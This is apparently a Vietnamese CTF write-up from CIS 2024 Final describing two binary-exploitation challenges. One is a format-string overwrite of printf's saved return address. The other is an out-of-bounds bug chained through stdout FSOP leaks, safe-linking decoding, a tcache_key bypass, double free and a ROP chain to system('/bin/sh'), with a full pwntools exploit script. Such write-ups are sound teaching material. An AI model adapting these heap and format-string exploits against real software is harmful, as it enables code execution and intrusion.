# CIS 2024 Final
## Chall1 : Format string
### Phân tích

- Bugs ở đây thì đã rõ là FMT
- Ngoài ra challenge còn cho các ta 1 'gift' là 2 bytes cuối của stack
### Khai thác
#### :skull_and_crossbones: exit() : 'No' return address ?
- Chương trình sử dung hàm `exit()` để end chương trình nên không thế overwrite saved rip của main -> ta chuyển hướng qua overwrite `saved rip` của printf (do thực chất `printf` là 1 hàm `@plt` nên bên trong nó sẽ có những hàm )
:::warning

- Vấn đề gặp phải ở đây là `saved rip` lại nằm ở trên vị trí có thể overwrite được -> How to bypass it :question:
:::
#### :bulb: FMT : full form & short form
- Ta có thể bypass điều này bằng cách overwrite 1 địa chỉ stack làm cho thành địa chỉ của `saved rip` sau đó overwrite saved rip như bình thường. Nhưng ở đây chúng ta sẽ phải overwrite 2 lần trong 1 lệnh printf, chính vì vậy phải thực sự hiểu rõ về nó :open_book:
:::info
| | full form | short form |
| -------- | -------- | -------- |
| format | %c%c%c%c%c%n| %6$n |
|work|- ở dạng này hàm fmt sẽ thưc hiện lần lượt từ trái sang phải. |- chọn vị trị 6 để thực hiện đầu tiên.
||- Buffer sẽ được làm mới sau mỗi đối số(ở đây là %c)|- Buffer sẽ được lưu lại từ $ đầu tiên và không được thay đổi sau mỗi lần vị trí tại $ thay đổi .
||- Thay đổi offset bằng số lần in trước đó| - Thay đổi offset bằng padding ở $
|Tốc độ| - Chậm hơn| - Nhanh hơn
:::
#### :unlock: Start overwrite : Loop main
- Có lẽ chuẩn bị đã xong, điểm đáng chú ý là sử dụng full form & short form theo trình tự như thế nào để phù hợp nhất.
```py
main = 0x151a9 # loop main
p.recvuntil(b'Gift: ')
leak = int(b'0x'+p.recvline(keepends=False), 16)-0xc
info("leak: " + hex(leak)) #saved rip address of printf : 0xdf48
payload = f"%c%c%c%c%c%c%{leak-6}c%hn%{main-leak}c%28$hn|%9$p|%13$p|"
GDB(p)
sl(p,payload)
p.recvuntil(b'|')
libc.address = int(p.recvuntil(b'|', drop=True), 16) - 0x2a1ca
info("libc: " + hex(libc.address))
exe.address = int(p.recvuntil(b'|', drop=True), 16) - 0x11a9
info("exe: " + hex(exe.address))
```
#### :unlock:
## Chall2 : Out of bound
### Phân tích
#### :warning: Tổng quan
- Challenge này giống như 1 game bắn súng : Cho phép chúng tạo nhân vật, nhập tên,chọn nv, sửa tên, xóa nhân vật. Sau đó chọn nhân vật để chơi game.(ở hàm set `playerer` lần lượt là `new_player`, `select_player`, `edit_player`, `delete_player`)
- Về nội dung play ntn : sẽ tạo ra 1 dãy và random vị trí kẻ địch, việc của gamer là chọn tọa độ(<48) và loại đạn(là các chữ byte) : `new_game`
- Đưa ra đánh giá (feedback) : `feedback`
- Sau khi chơi thì có thể lưu game -> có thể xóa : `save_game` + `remove`
- Ngoài ra còn cung cấp thêm hàm cheat nhưng thấy khá vô nghĩa. : `cheat`
#### :warning: Reverse + săn bug
- Chương trình này khá dài nên mình sẽ phân tích ở những phần mà chúng ta có thể khai thác, phần reverse sâu hơn có lẽ không làm khó các pwner đâu :joy:
:point_right: `set_player -> case 3: edit_player`

:::info
- case này sau khi tạo player sẽ cho phép sửa lại tên của nhân vật (thay đổi nội dung của con trỏ đang được lưu ở mảng con trỏ `name_list`)
- có 1 BUG khi nó check nếu hàm `scanf` return False thì sẽ bỏ qua `label` invalid , lúc này biến index có vẫn giữ nguyên giá trị rác -> lỗi `OOB` :sparkles:
- Tuy nhiên sau edit xong, thì bit_edit sẽ được set bằng 1 để báo là đã edit -> điều này nghĩa là ta chỉ có thể edit 1 lần :sob:
:::
:point_right: `save_game`

:::info
- Hàm này cho lưu game đã chơi thông qua idx mình nhập tuy nhiên lại có bug OOB khi biến idx có thể âm :sparkles:
- Nhưng chỉ lưu được khi `ptr` đang là NULL
:::
### Khai thác
#### :warning: LEAK LIBC + STACK + HEAP
- Dựa vào bug OOB ơ case `edit_player` kết hợp cách bố trị dữ liệu của chương trình

:::warning
- Ta thấy nếu như OOB với idx < 0 thì có thể khai thác `_IO_2_1_stdout_`
- Đầu tiên case edit_player sẽ in ra `_IO_2_1_stdout_` -> có LIBC :dart:
- Sử dụng lần read vào stdout để `FSOP` + biến `environ` -> leak được STACK :dart:
- Ở đây hoàn toàn có thể dùng `main_arena` + `environ` để leak luôn heap và stack trong 1 lần tuy nhiên còn 1 kiến thức mới mình muốn đề cập nên mình dùng `tcache` để leak heap
:::
```py
################# leak libc #################
sla(p,b'>> ',b'3')
sla(p,b'>> ',str(-6).encode())
# GDB(p)
sla(p,b'>> ',b'3')
sla(p,b'>> ',b'+')
r(p,8)
leak = intFromByte(p,6)
print("libc_leak:",hex(leak))
libc.address =leak - 0x22f803
print("libc_base:",hex(libc.address))
libc_base = libc.address
################# leak stack #################
environ = libc.address + 0x236238
_flags = 0xfbad1800
main_arena = environ - 0x7ffff7fb3c80 ****
payload = p64(_flags) + b'a'*8*3 + p64(environ) +p64(environ+0x10)
# GDB(p)
sa(p,b'Enter new name: ',payload)
leak_stack = intFromByte(p,6)
print("stack_leak:",hex(leak_stack))
```
##### :point_right: Leak heap :

- Ta biết rằng `fw pointer` của `tcache` sẽ trỏ đến userdata của chunk free trước nhưng ở trong hình thì điều này có vẻ sai sai -> **Vậy điều gì đã xảy ra với tcache** :question:
- [Safe linking](https://ir0nstone.gitbook.io/notes/binexp/heap/safe-linking) : Đây chính là câu trả lời cho câu hỏi đó, nói tóm gọn chính là 1 mã hóa fw pointer của glibc ; thật may chúng ta đã có cách giải mã nó .
```py
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
```
:unlock: Công việc còn lại đơn giản là leak fw pointer(bị mã hóa) như bình thường rồi ném vào hàm này để decode thôi
```py
for i in range(3):
delete_player(p,i)
new_player(p,b'a')
sla(p,b'>> ',b'2') #select player
ru(p,b'0. ')
val = intFromByte(p,6)
leak_heap = ((deobfuscate(val) & 0xffffffffff00)) + 0xa0
print("leak_heap:",hex(leak_heap))
sla(p,b'>> ',str(0))
```
#### :warning: Double free/Use After free
- Dựa vào bug OOB ở hàm `save_game`, có nghĩa là ta có thể đưa bất kì giá trị nào có `index < 0` ở bss vào biến `ptr`


:::warning
- Hàm `feed_back` cho phép chúng ta đưa 1 số nguyên 8bytes vào bss (do rate đang ở bss )
- Quan sát thấy rate đang ở `index<0` (so với game_list) -> Đưa 1 địa chỉ `heap` (ví dụ: `name_list`) đang được sử dụng vào `rate` -> OOB `rate` vào `ptr` -> Ta có lỗi Double Free/Use After Free :dart:
:::


- Sau khi có `UAF`, mình nghĩ mọi thứ đã xong nhưng đời không như mơ

:question: Điều gì đã xảy ra với tcache của chúng ta:question:
:::danger
- Ở các phien bản glibc mới, các nhà phát hành đã bổ sung các cách bảo vệ ở bên trong `tcache_entry` : `tcache_key` :lock:
[source](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4459)

[tcache_entry](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3126)


:point_right: Nó sẽ check xem chunk(userdata + 0x8) mình muốn free có key có giống với tcache_key không? Nếu có thì là đã free và báo lỗi :clown_face:
:::
##### :key: How to bypass this ???
- Để double free thành công thì chỉ có thể fake `tcache_key` nhưng phải làm sao đây
- Đối với challenge này để thay đổi nội dung 1 chunk đã được tạo thì có case `edit_player` nhưng nó lại có `edit_bit` chỉ cho phép edit 1 lần, liệu có cách nào sửa được `edit_bit` kia không ? Câu trả lời là có.
- Quay trở lại với hàm `save_game` với lỗi `OOB` :

:point_right: Nó set null vị trí `game_list` sau khi đưa vào `ptr` -> Đưa `edit_bit` vào `ptr`
#### :warning: ROP : Give me your flag :trophy:
- Sau khi có thể edit lần 2 thì ta có thể fake `tcache_key` và tiến hành double free tcache như bình thường
- Đoạn này fake fw pointer cua tcache vào stack để overwrite return address của hàm set_player thành system("/bin/sh\x00") thôi
### Full script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF("./chall_patched")
libc = ELF("libc.so.6",checksec=False)
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB(pid):
base = get_exe_base(pid)
gdb.attach(p, gdbscript=f'''
b*{base} + 0x0000000000001E8D
c
''')
input()
# p = remote("103.173.227.108",9011)
# p = remote("0.0.0.0",9011)
# input("GDB")
p = process(exe.path)
pid = p.pid
# GDB()
def newplayer(name):
p.sendline(b"1")
p.sendline(b"1")
p.sendafter(b"Enter name: ",name)
p.sendlineafter(b">>",b"5")
def delete_player(index):
p.sendline(b"1")
p.sendline(b"4")
p.sendline(f"{index}".encode())
p.sendlineafter(b">>",b"5")
def savegame(index):
p.sendline(b"3")
p.sendline(f"{index}".encode())
def feedback(score):
p.sendline(b"6")
p.sendline(f"{score}".encode())
def newgame():
p.sendline(b"2")
flag = 0xfbad1800
payload = flat(0x0,0x301)
for i in range(9):
newplayer(payload)
p.recvuntil(b">>")
p.sendline(b"2")
p.sendline(b"22222")
p.sendline(b"y")
newplayer(b"1")
for i in range(8):
delete_player(i)
p.recvuntil(b">>")
for i in range(15):
p.recvuntil(b">>")
p.sendline(b"1")
p.sendline(b"3")
p.recvuntil(b"Edit player\n")
p.recvuntil(b">> ")
p.sendline(b"-6")
p.sendline(b"3")
p.recvuntil(b"Edit player\n")
p.sendline(b"+")
p.recvuntil(b"Edit player\n")
p.recvuntil(b">> ")
p.recvuntil(b">> ")
p.recvuntil(b">> ")
leak = int.from_bytes(p.recv(8),"little")
libc.address = int.from_bytes(p.recv(8),"little") - 0x22f803
p.recv(0x40- 0x10)
print(hex(libc.address))
payload = flat(
flag,flag,flag,flag,
p64(libc.address + 0x22eca8),
p64(libc.address + 0x22eca8 + 0x75b8 + 0x10),
p64(libc.address + 0x22eca8 + 0x75b8 + 0x10),
)
p.send(payload)
p.recvuntil(b"Enter new name: ")
heap = int.from_bytes(p.recv(8),"little") - 0x4c0
print(hex(heap))
a = p.recv(1)
stack = 0
for i in range(0x75b0//8):
stack = int.from_bytes(p.recv(8),"little")
if(((stack >> 40 & 0xff) == 0x7f ) and i == 3761) :
break
print(i,hex(stack))
print(hex(stack))
p.sendline(b"5")
# GDB(pid)
feedback(heap + 0x480)
newplayer(b"1")
GDB(pid)
savegame(235)
p.sendline(b"5")
# GDB(pid)
savegame(234)
p.sendline(b"1")
p.sendline(b"3")
p.recvuntil(b"Edit player\n")
p.recvuntil(b">> ")
p.sendline(b"0")
pl = flat(((heap + 0x480) >> 12) ^ (stack-0x148) )
p.sendafter(b"Enter new name:",pl)
RDI = libc.address + 0x00000000000243d2
RSI = libc.address + 0x0000000000025d31
RDX_R12 = libc.address + 0x0000000000080e39
ROP = flat(
libc.address + 0x22ea00,
RDI,next(libc.search(b"/bin/sh\x00")),
RSI,0,RDI+1,
libc.sym["system"]
)
# GDB()
p.sendline(b"1")
p.sendline(b"A")
p.recvuntil(b">>")
p.recvuntil(b">>")
p.sendline(b"1")
p.send(ROP)
p.interactive()
```